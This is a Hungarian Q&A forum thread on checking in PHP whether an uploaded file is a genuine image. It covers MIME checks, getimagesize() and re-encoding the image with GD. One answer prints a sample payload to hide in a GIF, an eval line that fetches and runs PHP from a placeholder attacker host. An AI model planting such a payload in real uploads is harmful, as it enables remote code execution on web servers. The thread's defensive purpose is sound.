Hogyan lehet ellenőrizni php-val hogy egy feltöltendő képfájl érvényes e?
Most itt nem a kiterjesztések ellenőrzésére vagyok kíváncsi (*.jpg,*.gif ect.) hanem ha pl átnevezek egy *.exe fájlt *.jpg-re.
Gondolom valahogyan a fájl header-jét kéne ellenőrizni.
Mivel szokták ezt megoldani?
Ha átnevez valaki egy exe-t jpg-re akkor azzal kb semmit nem ér, mert a vissza nevezés nélkül amúgy sem tudja használni.
Valamint, mint azt már kifejtettem egy kérdéssel korábban, a MIME típus ellenőrzés még kevésbé használható, mint a kiterjesztés ellenőrzés, ezt ugyanis még könnyebb átverni és nagyobb veszélyt hordoz. (Pl php feltöltést amit szépen a szerver le is tud futtatni.)
A legjobb mind a kettőnek a csekkolása, de ez is ugyan úgy átverhető könnyedén.
Én pusztán csak a felhasználó figyelmetlenségét nézem, ezt szeretném kiküszöbölni.
A kezdő hackereket ezzel már el lehet riasztani, aki meg tovább megy az úgyis többnyire talál valami kiskaput.
Kérdező:
$_FILES['kep']['type'] - ez tárolja a mime típust.
A getimagesize függvény még szofisztikáltabb ebből a szempontból, ami szintén visszaadja a mime típust és őt már nem annyira könnyű átverni:
$size=getimagesize($filename);
$mime=$size['mime'];
Viszont ezzel is lehet kártékony dolgokat átvinni. Meg lehet úgy preparálni egy gif fájlt, hogy annak az adatfájljában mondjuk van egy ilyen részlet: <? eval(file_get_contents('hacker.com/myhack.php')) ?>
Ezt egy rossz include használattal nagyon csúnyán ki lehet használni.
Szóval az egyik legjobb megoldás ebben az esetben, ha újragenerálod a képet a GD segítségével.
Kapcsolódó kérdések:
Minden jog fenntartva © 2024, www.gyakorikerdesek.hu
GYIK | Szabályzat | Jogi nyilatkozat | Adatvédelem | Cookie beállítások | WebMinute Kft. | Facebook | Kapcsolat: info(kukac)gyakorikerdesek.hu
Ha kifogással szeretne élni valamely tartalommal kapcsolatban, kérjük jelezze e-mailes elérhetőségünkön!